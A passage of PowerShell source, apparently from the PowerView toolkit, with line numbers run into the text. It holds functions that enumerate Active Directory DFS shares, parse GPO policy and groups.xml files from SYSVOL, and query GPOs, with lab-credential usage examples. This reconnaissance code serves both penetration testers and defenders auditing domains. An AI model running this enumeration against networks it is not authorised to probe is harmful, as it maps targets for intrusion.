Returns a list of all fault-tolerant distributed file systems 11988 for the current (or specified) domains. 11989 11990 Author: Ben Campbell (@meatballs__) 11991 License: BSD 3-Clause 11992 Required Dependencies: Get-DomainSearcher 11993 11994 .DESCRIPTION 11995 11996 This function searches for all distributed file systems (either version 11997 1, 2, or both depending on -Version X) by searching for domain objects 11998 matching (objectClass=fTDfs) or (objectClass=msDFS-Linkv2), respectively 11999 The server data is parsed appropriately and returned. 12000 12001 .PARAMETER Domain 12002 12003 Specifies the domains to use for the query, defaults to the current domain. 12004 12005 .PARAMETER SearchBase 12006 12007 The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" 12008 Useful for OU queries. 12009 12010 .PARAMETER Server 12011 12012 Specifies an Active Directory server (domain controller) to bind to. 12013 12014 .PARAMETER SearchScope 12015 12016 Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). 12017 12018 .PARAMETER ResultPageSize 12019 12020 Specifies the PageSize to set for the LDAP searcher object. 12021 12022 .PARAMETER ServerTimeLimit 12023 12024 Specifies the maximum amount of time the server spends searching. Default of 120 seconds. 12025 12026 .PARAMETER Tombstone 12027 12028 Switch. Specifies that the searcher should also return deleted/tombstoned objects. 12029 12030 .PARAMETER Credential 12031 12032 A [Management.Automation.PSCredential] object of alternate credentials 12033 for connection to the target domain. 12034 12035 .EXAMPLE 12036 12037 Get-DomainDFSShare 12038 12039 Returns all distributed file system shares for the current domain. 12040 12041 .EXAMPLE 12042 12043 Get-DomainDFSShare -Domain testlab.local 12044 12045 Returns all distributed file system shares for the 'testlab.local' domain. 12046 12047 .EXAMPLE 12048 12049 $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force 12050 $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) 12051 Get-DomainDFSShare -Credential $Cred 12052 12053 .OUTPUTS 12054 12055 System.Management.Automation.PSCustomObject 12056 12057 A custom PSObject describing the distributed file systems. 12058 #> 12059 12060 [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] 12061 [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')] 12062 [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseApprovedVerbs', '')] 12063 [OutputType('System.Management.Automation.PSCustomObject')] 12064 [CmdletBinding()] 12065 Param( 12066 [Parameter( ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] 12067 [ValidateNotNullOrEmpty()] 12068 [Alias('DomainName', 'Name')] 12069 [String[]] 12070 $Domain, 12071 12072 [ValidateNotNullOrEmpty()] 12073 [Alias('ADSPath')] 12074 [String] 12075 $SearchBase, 12076 12077 [ValidateNotNullOrEmpty()] 12078 [Alias('DomainController')] 12079 [String] 12080 $Server, 12081 12082 [ValidateSet('Base', 'OneLevel', 'Subtree')] 12083 [String] 12084 $SearchScope = 'Subtree', 12085 12086 [ValidateRange(1, 10000)] 12087 [Int] 12088 $ResultPageSize = 200, 12089 12090 [ValidateRange(1, 10000)] 12091 [Int] 12092 $ServerTimeLimit, 12093 12094 [Switch] 12095 $Tombstone, 12096 12097 [Management.Automation.PSCredential] 12098 [Management.Automation.CredentialAttribute()] 12099 $Credential = [Management.Automation.PSCredential]::Empty, 12100 12101 [ValidateSet('All', 'V1', '1', 'V2', '2')] 12102 [String] 12103 $Version = 'All' 12104 ) 12105 12106 BEGIN { 12107 $SearcherArguments = @{} 12108 if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } 12109 if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } 12110 if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } 12111 if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } 12112 if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } 12113 if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } 12114 if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } 12115 12116 function Parse-Pkt { 12117 [CmdletBinding()] 12118 Param( 12119 [Byte[]] 12120 $Pkt 12121 ) 12122 12123 $bin = $Pkt 12124 $blob_version = [bitconverter]::ToUInt32($bin[0..3],0) 12125 $blob_element_count = [bitconverter]::ToUInt32($bin[4..7],0) 12126 $offset = 8 12127 #https://msdn.microsoft.com/en-us/library/cc227147.aspx 12128 $object_list = @() 12129 for($i=1; $i -le $blob_element_count; $i++){ 12130 $blob_name_size_start = $offset 12131 $blob_name_size_end = $offset + 1 12132 $blob_name_size = [bitconverter]::ToUInt16($bin[$blob_name_size_start..$blob_name_size_end],0) 12133 12134 $blob_name_start = $blob_name_size_end + 1 12135 $blob_name_end = $blob_name_start + $blob_name_size - 1 12136 $blob_name = [System.Text.Encoding]::Unicode.GetString($bin[$blob_name_start..$blob_name_end]) 12137 12138 $blob_data_size_start = $blob_name_end + 1 12139 $blob_data_size_end = $blob_data_size_start + 3 12140 $blob_data_size = [bitconverter]::ToUInt32($bin[$blob_data_size_start..$blob_data_size_end],0) 12141 12142 $blob_data_start = $blob_data_size_end + 1 12143 $blob_data_end = $blob_data_start + $blob_data_size - 1 12144 $blob_data = $bin[$blob_data_start..$blob_data_end] 12145 switch -wildcard ($blob_name) { 12146 "\siteroot" { } 12147 "\domainroot*" { 12148 # Parse DFSNamespaceRootOrLinkBlob object. Starts with variable length DFSRootOrLinkIDBlob which we parse first... 12149 # DFSRootOrLinkIDBlob 12150 $root_or_link_guid_start = 0 12151 $root_or_link_guid_end = 15 12152 $root_or_link_guid = [byte[]]$blob_data[$root_or_link_guid_start..$root_or_link_guid_end] 12153 $guid = New-Object Guid(,$root_or_link_guid) # should match $guid_str 12154 $prefix_size_start = $root_or_link_guid_end + 1 12155 $prefix_size_end = $prefix_size_start + 1 12156 $prefix_size = [bitconverter]::ToUInt16($blob_data[$prefix_size_start..$prefix_size_end],0) 12157 $prefix_start = $prefix_size_end + 1 12158 $prefix_end = $prefix_start + $prefix_size - 1 12159 $prefix = [System.Text.Encoding]::Unicode.GetString($blob_data[$prefix_start..$prefix_end]) 12160 12161 $short_prefix_size_start = $prefix_end + 1 12162 $short_prefix_size_end = $short_prefix_size_start + 1 12163 $short_prefix_size = [bitconverter]::ToUInt16($blob_data[$short_prefix_size_start..$short_prefix_size_end],0) 12164 $short_prefix_start = $short_prefix_size_end + 1 12165 $short_prefix_end = $short_prefix_start + $short_prefix_size - 1 12166 $short_prefix = [System.Text.Encoding]::Unicode.GetString($blob_data[$short_prefix_start..$short_prefix_end]) 12167 12168 $type_start = $short_prefix_end + 1 12169 $type_end = $type_start + 3 12170 $type = [bitconverter]::ToUInt32($blob_data[$type_start..$type_end],0) 12171 12172 $state_start = $type_end + 1 12173 $state_end = $state_start + 3 12174 $state = [bitconverter]::ToUInt32($blob_data[$state_start..$state_end],0) 12175 12176 $comment_size_start = $state_end + 1 12177 $comment_size_end = $comment_size_start + 1 12178 $comment_size = [bitconverter]::ToUInt16($blob_data[$comment_size_start..$comment_size_end],0) 12179 $comment_start = $comment_size_end + 1 12180 $comment_end = $comment_start + $comment_size - 1 12181 if ($comment_size -gt 0) { 12182 $comment = [System.Text.Encoding]::Unicode.GetString($blob_data[$comment_start..$comment_end]) 12183 } 12184 $prefix_timestamp_start = $comment_end + 1 12185 $prefix_timestamp_end = $prefix_timestamp_start + 7 12186 # https://msdn.microsoft.com/en-us/library/cc230324.aspx FILETIME 12187 $prefix_timestamp = $blob_data[$prefix_timestamp_start..$prefix_timestamp_end] #dword lowDateTime #dword highdatetime 12188 $state_timestamp_start = $prefix_timestamp_end + 1 12189 $state_timestamp_end = $state_timestamp_start + 7 12190 $state_timestamp = $blob_data[$state_timestamp_start..$state_timestamp_end] 12191 $comment_timestamp_start = $state_timestamp_end + 1 12192 $comment_timestamp_end = $comment_timestamp_start + 7 12193 $comment_timestamp = $blob_data[$comment_timestamp_start..$comment_timestamp_end] 12194 $version_start = $comment_timestamp_end + 1 12195 $version_end = $version_start + 3 12196 $version = [bitconverter]::ToUInt32($blob_data[$version_start..$version_end],0) 12197 12198 # Parse rest of DFSNamespaceRootOrLinkBlob here 12199 $dfs_targetlist_blob_size_start = $version_end + 1 12200 $dfs_targetlist_blob_size_end = $dfs_targetlist_blob_size_start + 3 12201 $dfs_targetlist_blob_size = [bitconverter]::ToUInt32($blob_data[$dfs_targetlist_blob_size_start..$dfs_targetlist_blob_size_end],0) 12202 12203 $dfs_targetlist_blob_start = $dfs_targetlist_blob_size_end + 1 12204 $dfs_targetlist_blob_end = $dfs_targetlist_blob_start + $dfs_targetlist_blob_size - 1 12205 $dfs_targetlist_blob = $blob_data[$dfs_targetlist_blob_start..$dfs_targetlist_blob_end] 12206 $reserved_blob_size_start = $dfs_targetlist_blob_end + 1 12207 $reserved_blob_size_end = $reserved_blob_size_start + 3 12208 $reserved_blob_size = [bitconverter]::ToUInt32($blob_data[$reserved_blob_size_start..$reserved_blob_size_end],0) 12209 12210 $reserved_blob_start = $reserved_blob_size_end + 1 12211 $reserved_blob_end = $reserved_blob_start + $reserved_blob_size - 1 12212 $reserved_blob = $blob_data[$reserved_blob_start..$reserved_blob_end] 12213 $referral_ttl_start = $reserved_blob_end + 1 12214 $referral_ttl_end = $referral_ttl_start + 3 12215 $referral_ttl = [bitconverter]::ToUInt32($blob_data[$referral_ttl_start..$referral_ttl_end],0) 12216 12217 #Parse DFSTargetListBlob 12218 $target_count_start = 0 12219 $target_count_end = $target_count_start + 3 12220 $target_count = [bitconverter]::ToUInt32($dfs_targetlist_blob[$target_count_start..$target_count_end],0) 12221 $t_offset = $target_count_end + 1 12222 12223 for($j=1; $j -le $target_count; $j++){ 12224 $target_entry_size_start = $t_offset 12225 $target_entry_size_end = $target_entry_size_start + 3 12226 $target_entry_size = [bitconverter]::ToUInt32($dfs_targetlist_blob[$target_entry_size_start..$target_entry_size_end],0) 12227 $target_time_stamp_start = $target_entry_size_end + 1 12228 $target_time_stamp_end = $target_time_stamp_start + 7 12229 # FILETIME again or special if priority rank and priority class 0 12230 $target_time_stamp = $dfs_targetlist_blob[$target_time_stamp_start..$target_time_stamp_end] 12231 $target_state_start = $target_time_stamp_end + 1 12232 $target_state_end = $target_state_start + 3 12233 $target_state = [bitconverter]::ToUInt32($dfs_targetlist_blob[$target_state_start..$target_state_end],0) 12234 12235 $target_type_start = $target_state_end + 1 12236 $target_type_end = $target_type_start + 3 12237 $target_type = [bitconverter]::ToUInt32($dfs_targetlist_blob[$target_type_start..$target_type_end],0) 12238 12239 $server_name_size_start = $target_type_end + 1 12240 $server_name_size_end = $server_name_size_start + 1 12241 $server_name_size = [bitconverter]::ToUInt16($dfs_targetlist_blob[$server_name_size_start..$server_name_size_end],0) 12242 12243 $server_name_start = $server_name_size_end + 1 12244 $server_name_end = $server_name_start + $server_name_size - 1 12245 $server_name = [System.Text.Encoding]::Unicode.GetString($dfs_targetlist_blob[$server_name_start..$server_name_end]) 12246 12247 $share_name_size_start = $server_name_end + 1 12248 $share_name_size_end = $share_name_size_start + 1 12249 $share_name_size = [bitconverter]::ToUInt16($dfs_targetlist_blob[$share_name_size_start..$share_name_size_end],0) 12250 $share_name_start = $share_name_size_end + 1 12251 $share_name_end = $share_name_start + $share_name_size - 1 12252 $share_name = [System.Text.Encoding]::Unicode.GetString($dfs_targetlist_blob[$share_name_start..$share_name_end]) 12253 12254 $target_list += "\\$server_name\$share_name" 12255 $t_offset = $share_name_end + 1 12256 } 12257 } 12258 } 12259 $offset = $blob_data_end + 1 12260 $dfs_pkt_properties = @{ 12261 'Name' = $blob_name 12262 'Prefix' = $prefix 12263 'TargetList' = $target_list 12264 } 12265 $object_list += New-Object -TypeName PSObject -Property $dfs_pkt_properties 12266 $prefix = $Null 12267 $blob_name = $Null 12268 $target_list = $Null 12269 } 12270 12271 $servers = @() 12272 $object_list | ForEach-Object { 12273 if ($_.TargetList) { 12274 $_.TargetList | ForEach-Object { 12275 $servers += $_.split('\')[2] 12276 } 12277 } 12278 } 12279 12280 $servers 12281 } 12282 12283 function Get-DomainDFSShareV1 { 12284 [CmdletBinding()] 12285 Param( 12286 [String] 12287 $Domain, 12288 12289 [String] 12290 $SearchBase, 12291 12292 [String] 12293 $Server, 12294 12295 [String] 12296 $SearchScope = 'Subtree', 12297 12298 [Int] 12299 $ResultPageSize = 200, 12300 12301 [Int] 12302 $ServerTimeLimit, 12303 12304 [Switch] 12305 $Tombstone, 12306 12307 [Management.Automation.PSCredential] 12308 [Management.Automation.CredentialAttribute()] 12309 $Credential = [Management.Automation.PSCredential]::Empty 12310 ) 12311 12312 $DFSsearcher = Get-DomainSearcher @PSBoundParameters 12313 12314 if ($DFSsearcher) { 12315 $DFSshares = @() 12316 $DFSsearcher.filter = '(&(objectClass=fTDfs))' 12317 12318 try { 12319 $Results = $DFSSearcher.FindAll() 12320 $Results | Where-Object {$_} | ForEach-Object { 12321 $Properties = $_.Properties 12322 $RemoteNames = $Properties.remoteservername 12323 $Pkt = $Properties.pkt 12324 12325 $DFSshares += $RemoteNames | ForEach-Object { 12326 try { 12327 if ( $_.Contains('\') ) { 12328 New-Object -TypeName PSObject -Property @{'Name'=$Properties.name[0];'RemoteServerName'=$_.split('\')[2]} 12329 } 12330 } 12331 catch { 12332 Write-Verbose "[Get-DomainDFSShare] Get-DomainDFSShareV1 error in parsing DFS share : $_" 12333 } 12334 } 12335 } 12336 if ($Results) { 12337 try { $Results.dispose() } 12338 catch { 12339 Write-Verbose "[Get-DomainDFSShare] Get-DomainDFSShareV1 error disposing of the Results object: $_" 12340 } 12341 } 12342 $DFSSearcher.dispose() 12343 12344 if ($pkt -and $pkt[0]) { 12345 Parse-Pkt $pkt[0] | ForEach-Object { 12346 # If a folder doesn't have a redirection it will have a target like 12347 # \\null\TestNameSpace\folder\.DFSFolderLink so we do actually want to match 12348 # on 'null' rather than $Null 12349 if ($_ -ne 'null') { 12350 New-Object -TypeName PSObject -Property @{'Name'=$Properties.name[0];'RemoteServerName'=$_} 12351 } 12352 } 12353 } 12354 } 12355 catch { 12356 Write-Warning "[Get-DomainDFSShare] Get-DomainDFSShareV1 error : $_" 12357 } 12358 $DFSshares | Sort-Object -Unique -Property 'RemoteServerName' 12359 } 12360 } 12361 12362 function Get-DomainDFSShareV2 { 12363 [CmdletBinding()] 12364 Param( 12365 [String] 12366 $Domain, 12367 12368 [String] 12369 $SearchBase, 12370 12371 [String] 12372 $Server, 12373 12374 [String] 12375 $SearchScope = 'Subtree', 12376 12377 [Int] 12378 $ResultPageSize = 200, 12379 12380 [Int] 12381 $ServerTimeLimit, 12382 12383 [Switch] 12384 $Tombstone, 12385 12386 [Management.Automation.PSCredential] 12387 [Management.Automation.CredentialAttribute()] 12388 $Credential = [Management.Automation.PSCredential]::Empty 12389 ) 12390 12391 $DFSsearcher = Get-DomainSearcher @PSBoundParameters 12392 12393 if ($DFSsearcher) { 12394 $DFSshares = @() 12395 $DFSsearcher.filter = '(&(objectClass=msDFS-Linkv2))' 12396 $Null = $DFSSearcher.PropertiesToLoad.AddRange(('msdfs-linkpathv2','msDFS-TargetListv2')) 12397 12398 try { 12399 $Results = $DFSSearcher.FindAll() 12400 $Results | Where-Object {$_} | ForEach-Object { 12401 $Properties = $_.Properties 12402 $target_list = $Properties.'msdfs-targetlistv2'[0] 12403 $xml = [xml][System.Text.Encoding]::Unicode.GetString($target_list[2..($target_list.Length-1)]) 12404 $DFSshares += $xml.targets.ChildNodes | ForEach-Object { 12405 try { 12406 $Target = $_.InnerText 12407 if ( $Target.Contains('\') ) { 12408 $DFSroot = $Target.split('\')[3] 12409 $ShareName = $Properties.'msdfs-linkpathv2'[0] 12410 New-Object -TypeName PSObject -Property @{'Name'="$DFSroot$ShareName";'RemoteServerName'=$Target.split('\')[2]} 12411 } 12412 } 12413 catch { 12414 Write-Verbose "[Get-DomainDFSShare] Get-DomainDFSShareV2 error in parsing target : $_" 12415 } 12416 } 12417 } 12418 if ($Results) { 12419 try { $Results.dispose() } 12420 catch { 12421 Write-Verbose "[Get-DomainDFSShare] Error disposing of the Results object: $_" 12422 } 12423 } 12424 $DFSSearcher.dispose() 12425 } 12426 catch { 12427 Write-Warning "[Get-DomainDFSShare] Get-DomainDFSShareV2 error : $_" 12428 } 12429 $DFSshares | Sort-Object -Unique -Property 'RemoteServerName' 12430 } 12431 } 12432 } 12433 12434 PROCESS { 12435 $DFSshares = @() 12436 12437 if ($PSBoundParameters['Domain']) { 12438 ForEach ($TargetDomain in $Domain) { 12439 $SearcherArguments['Domain'] = $TargetDomain 12440 if ($Version -match 'all|1') { 12441 $DFSshares += Get-DomainDFSShareV1 @SearcherArguments 12442 } 12443 if ($Version -match 'all|2') { 12444 $DFSshares += Get-DomainDFSShareV2 @SearcherArguments 12445 } 12446 } 12447 } 12448 else { 12449 if ($Version -match 'all|1') { 12450 $DFSshares += Get-DomainDFSShareV1 @SearcherArguments 12451 } 12452 if ($Version -match 'all|2') { 12453 $DFSshares += Get-DomainDFSShareV2 @SearcherArguments 12454 } 12455 } 12456 12457 $DFSshares | Sort-Object -Property ('RemoteServerName','Name') -Unique 12458 } 12459 } 12460 12461 12462 ######################################################## 12463 # 12464 # GPO related functions. 12465 # 12466 ######################################################## 12467 12468 function Get-GptTmpl { 12469 <# 12470 .SYNOPSIS 12471 12472 Helper to parse a GptTmpl.inf policy file path into a hashtable. 12473 12474 Author: Will Schroeder (@harmj0y) 12475 License: BSD 3-Clause 12476 Required Dependencies: Add-RemoteConnection, Remove-RemoteConnection, Get-IniContent 12477 12478 .DESCRIPTION 12479 12480 Parses a GptTmpl.inf into a custom hashtable using Get-IniContent. If a 12481 GPO object is passed, GPOPATH\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf 12482 is constructed and assumed to be the parse target. If -Credential is passed, 12483 Add-RemoteConnection is used to mount \\TARGET\SYSVOL with the specified creds, 12484 the files are parsed, and the connection is destroyed later with Remove-RemoteConnection. 12485 12486 .PARAMETER GptTmplPath 12487 12488 Specifies the GptTmpl.inf file path name to parse. 12489 12490 .PARAMETER OutputObject 12491 12492 Switch. Output a custom PSObject instead of a hashtable. 12493 12494 .PARAMETER Credential 12495 12496 A [Management.Automation.PSCredential] object of alternate credentials 12497 for connection to the remote system. 12498 12499 .EXAMPLE 12500 12501 Get-GptTmpl -GptTmplPath "\\dev.testlab.local\sysvol\dev.testlab.local\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf" 12502 12503 Parse the default domain policy .inf for dev.testlab.local 12504 12505 .EXAMPLE 12506 12507 Get-DomainGPO testing | Get-GptTmpl 12508 12509 Parse the GptTmpl.inf policy for the GPO with display name of 'testing'. 12510 12511 .EXAMPLE 12512 12513 $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force 12514 $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) 12515 Get-GptTmpl -Credential $Cred -GptTmplPath "\\dev.testlab.local\sysvol\dev.testlab.local\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf" 12516 12517 Parse the default domain policy .inf for dev.testlab.local using alternate credentials. 12518 12519 .OUTPUTS 12520 12521 Hashtable 12522 12523 Ouputs a hashtable representing the parsed GptTmpl.inf file. 12524 #> 12525 12526 [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] 12527 [OutputType([Hashtable])] 12528 [CmdletBinding()] 12529 Param ( 12530 [Parameter(Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] 12531 [Alias('gpcfilesyspath', 'Path')] 12532 [String] 12533 $GptTmplPath, 12534 12535 [Switch] 12536 $OutputObject, 12537 12538 [Management.Automation.PSCredential] 12539 [Management.Automation.CredentialAttribute()] 12540 $Credential = [Management.Automation.PSCredential]::Empty 12541 ) 12542 12543 BEGIN { 12544 $MappedPaths = @{} 12545 } 12546 12547 PROCESS { 12548 try { 12549 if (($GptTmplPath -Match '\\\\.*\\.*') -and ($PSBoundParameters['Credential'])) { 12550 $SysVolPath = "\\$((New-Object System.Uri($GptTmplPath)).Host)\SYSVOL" 12551 if (-not $MappedPaths[$SysVolPath]) { 12552 # map IPC$ to this computer if it's not already 12553 Add-RemoteConnection -Path $SysVolPath -Credential $Credential 12554 $MappedPaths[$SysVolPath] = $True 12555 } 12556 } 12557 12558 $TargetGptTmplPath = $GptTmplPath 12559 if (-not $TargetGptTmplPath.EndsWith('.inf')) { 12560 $TargetGptTmplPath += '\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf' 12561 } 12562 12563 Write-Verbose "[Get-GptTmpl] Parsing GptTmplPath: $TargetGptTmplPath" 12564 12565 if ($PSBoundParameters['OutputObject']) { 12566 $Contents = Get-IniContent -Path $TargetGptTmplPath -OutputObject -ErrorAction Stop 12567 if ($Contents) { 12568 $Contents | Add-Member Noteproperty 'Path' $TargetGptTmplPath 12569 $Contents 12570 } 12571 } 12572 else { 12573 $Contents = Get-IniContent -Path $TargetGptTmplPath -ErrorAction Stop 12574 if ($Contents) { 12575 $Contents['Path'] = $TargetGptTmplPath 12576 $Contents 12577 } 12578 } 12579 } 12580 catch { 12581 Write-Verbose "[Get-GptTmpl] Error parsing $TargetGptTmplPath : $_" 12582 } 12583 } 12584 12585 END { 12586 # remove the SYSVOL mappings 12587 $MappedPaths.Keys | ForEach-Object { Remove-RemoteConnection -Path $_ } 12588 } 12589 } 12590 12591 12592 function Get-GroupsXML { 12593 <# 12594 .SYNOPSIS 12595 12596 Helper to parse a groups.xml file path into a custom object. 12597 12598 Author: Will Schroeder (@harmj0y) 12599 License: BSD 3-Clause 12600 Required Dependencies: Add-RemoteConnection, Remove-RemoteConnection, ConvertTo-SID 12601 12602 .DESCRIPTION 12603 12604 Parses a groups.xml into a custom object. If -Credential is passed, 12605 Add-RemoteConnection is used to mount \\TARGET\SYSVOL with the specified creds, 12606 the files are parsed, and the connection is destroyed later with Remove-RemoteConnection. 12607 12608 .PARAMETER GroupsXMLpath 12609 12610 Specifies the groups.xml file path name to parse. 12611 12612 .PARAMETER Credential 12613 12614 A [Management.Automation.PSCredential] object of alternate credentials 12615 for connection to the remote system. 12616 12617 .OUTPUTS 12618 12619 PowerView.GroupsXML 12620 #> 12621 12622 [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] 12623 [OutputType('PowerView.GroupsXML')] 12624 [CmdletBinding()] 12625 Param ( 12626 [Parameter(Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] 12627 [Alias('Path')] 12628 [String] 12629 $GroupsXMLPath, 12630 12631 [Management.Automation.PSCredential] 12632 [Management.Automation.CredentialAttribute()] 12633 $Credential = [Management.Automation.PSCredential]::Empty 12634 ) 12635 12636 BEGIN { 12637 $MappedPaths = @{} 12638 } 12639 12640 PROCESS { 12641 try { 12642 if (($GroupsXMLPath -Match '\\\\.*\\.*') -and ($PSBoundParameters['Credential'])) { 12643 $SysVolPath = "\\$((New-Object System.Uri($GroupsXMLPath)).Host)\SYSVOL" 12644 if (-not $MappedPaths[$SysVolPath]) { 12645 # map IPC$ to this computer if it's not already 12646 Add-RemoteConnection -Path $SysVolPath -Credential $Credential 12647 $MappedPaths[$SysVolPath] = $True 12648 } 12649 } 12650 12651 [XML]$GroupsXMLcontent = Get-Content -Path $GroupsXMLPath -ErrorAction Stop 12652 12653 # process all group properties in the XML 12654 $GroupsXMLcontent | Select-Xml "/Groups/Group" | Select-Object -ExpandProperty node | ForEach-Object { 12655 12656 $Groupname = $_.Properties.groupName 12657 12658 # extract the localgroup sid for memberof 12659 $GroupSID = $_.Properties.groupSid 12660 if (-not $GroupSID) { 12661 if ($Groupname -match 'Administrators') { 12662 $GroupSID = 'S-1-5-32-544' 12663 } 12664 elseif ($Groupname -match 'Remote Desktop') { 12665 $GroupSID = 'S-1-5-32-555' 12666 } 12667 elseif ($Groupname -match 'Guests') { 12668 $GroupSID = 'S-1-5-32-546' 12669 } 12670 else { 12671 if ($PSBoundParameters['Credential']) { 12672 $GroupSID = ConvertTo-SID -ObjectName $Groupname -Credential $Credential 12673 } 12674 else { 12675 $GroupSID = ConvertTo-SID -ObjectName $Groupname 12676 } 12677 } 12678 } 12679 12680 # extract out members added to this group 12681 $Members = $_.Properties.members | Select-Object -ExpandProperty Member | Where-Object { $_.action -match 'ADD' } | ForEach-Object { 12682 if ($_.sid) { $_.sid } 12683 else { $_.name } 12684 } 12685 12686 if ($Members) { 12687 # extract out any/all filters...I hate you GPP 12688 if ($_.filters) { 12689 $Filters = $_.filters.GetEnumerator() | ForEach-Object { 12690 New-Object -TypeName PSObject -Property @{'Type' = $_.LocalName;'Value' = $_.name} 12691 } 12692 } 12693 else { 12694 $Filters = $Null 12695 } 12696 12697 if ($Members -isnot [System.Array]) { $Members = @($Members) } 12698 12699 $GroupsXML = New-Object PSObject 12700 $GroupsXML | Add-Member Noteproperty 'GPOPath' $TargetGroupsXMLPath 12701 $GroupsXML | Add-Member Noteproperty 'Filters' $Filters 12702 $GroupsXML | Add-Member Noteproperty 'GroupName' $GroupName 12703 $GroupsXML | Add-Member Noteproperty 'GroupSID' $GroupSID 12704 $GroupsXML | Add-Member Noteproperty 'GroupMemberOf' $Null 12705 $GroupsXML | Add-Member Noteproperty 'GroupMembers' $Members 12706 $GroupsXML.PSObject.TypeNames.Insert(0, 'PowerView.GroupsXML') 12707 $GroupsXML 12708 } 12709 } 12710 } 12711 catch { 12712 Write-Verbose "[Get-GroupsXML] Error parsing $TargetGroupsXMLPath : $_" 12713 } 12714 } 12715 12716 END { 12717 # remove the SYSVOL mappings 12718 $MappedPaths.Keys | ForEach-Object { Remove-RemoteConnection -Path $_ } 12719 } 12720 } 12721 12722 12723 function Get-DomainGPO { 12724 <# 12725 .SYNOPSIS 12726 12727 Return all GPOs or specific GPO objects in AD. 12728 12729 Author: Will Schroeder (@harmj0y) 12730 License: BSD 3-Clause 12731 Required Dependencies: Get-DomainSearcher, Get-DomainComputer, Get-DomainUser, Get-DomainOU, Get-NetComputerSiteName, Get-DomainSite, Get-DomainObject, Convert-LDAPProperty 12732 12733 .DESCRIPTION 12734 12735 Builds a directory searcher object using Get-DomainSearcher, builds a custom 12736 LDAP filter based on targeting/filter parameters, and searches for all objects 12737 matching the criteria. To only return specific properties, use 12738 "-Properties samaccountname,usnchanged,...". By default, all GPO objects for 12739 the current domain are returned. To enumerate all GPOs that are applied to 12740 a particular machine, use -ComputerName X. 12741 12742 .PARAMETER Identity 12743 12744 A display name (e.g. 'Test GPO'), DistinguishedName (e.g. 'CN={F260B76D-55C8-46C5-BEF1-9016DD98E272},CN=Policies,CN=System,DC=testlab,DC=local'), 12745 GUID (e.g. '10ec320d-3111-4ef4-8faf-8f14f4adc789'), or GPO name (e.g. '{F260B76D-55C8-46C5-BEF1-9016DD98E272}'). Wildcards accepted. 12746 12747 .PARAMETER ComputerIdentity 12748 12749 Return all GPO objects applied to a given computer identity (name, dnsname, DistinguishedName, etc.). 12750 12751 .PARAMETER UserIdentity 12752 12753 Return all GPO objects applied to a given user identity (name, SID, DistinguishedName, etc.). 12754 12755 .PARAMETER Domain 12756 12757 Specifies the domain to use for the query, defaults to the current domain. 12758 12759 .PARAMETER LDAPFilter 12760 12761 Specifies an LDAP query string that is used to filter Active Directory objects. 12762 12763 .PARAMETER Properties 12764 12765 Specifies the properties of the output object to retrieve from the server. 12766 12767 .PARAMETER SearchBase 12768 12769 The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" 12770 Useful for OU queries. 12771 12772 .PARAMETER Server 12773 12774 Specifies an Active Directory server (domain controller) to bind to. 12775 12776 .PARAMETER SearchScope 12777 12778 Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). 12779 12780 .PARAMETER ResultPageSize 12781 12782 Specifies the PageSize to set for the LDAP searcher object. 12783 12784 .PARAMETER ServerTimeLimit 12785 12786 Specifies the maximum amount of time the server spends searching. Default of 120 seconds. 12787 12788 .PARAMETER SecurityMasks 12789 12790 Specifies an option for examining security information of a directory object. 12791 One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'. 12792 12793 .PARAMETER Tombstone 12794 12795 Switch. Specifies that the searcher should also return deleted/tombstoned objects. 12796 12797 .PARAMETER FindOne 12798 12799 Only return one result object. 12800 12801 .PARAMETER Credential 12802 12803 A [Management.Automation.PSCredential] object of alternate credentials 12804 for connection to the target domain. 12805 12806 .PARAMETER Raw 12807 12808 Switch. Return raw results instead of translating the fields into a custom PSObject. 12809 12810 .EXAMPLE 12811 12812 Get-DomainGPO -Domain testlab.local 12813 12814 Return all GPOs for the testlab.local domain 12815 12816 .EXAMPLE 12817 12818 Get-DomainGPO -ComputerName windows1.testlab.local 12819 12820 Returns all GPOs applied windows1.testlab.local 12821 12822 .EXAMPLE 12823 12824 "{F260B76D-55C8-46C5-BEF1-9016DD98E272}","Test GPO" | Get-DomainGPO 12825 12826 Return the GPOs with the name of "{F260B76D-55C8-46C5-BEF1-9016DD98E272}" and the display 12827 name of "Test GPO" 12828 12829 .EXAMPLE 12830 12831 Get-DomainGPO -LDAPFilter '(!primarygroupid=513)' -Properties samaccountname,lastlogon 12832 12833 .EXAMPLE 12834 12835 $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force 12836 $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) 12837 Get-DomainGPO -Credential $Cred 12838 12839 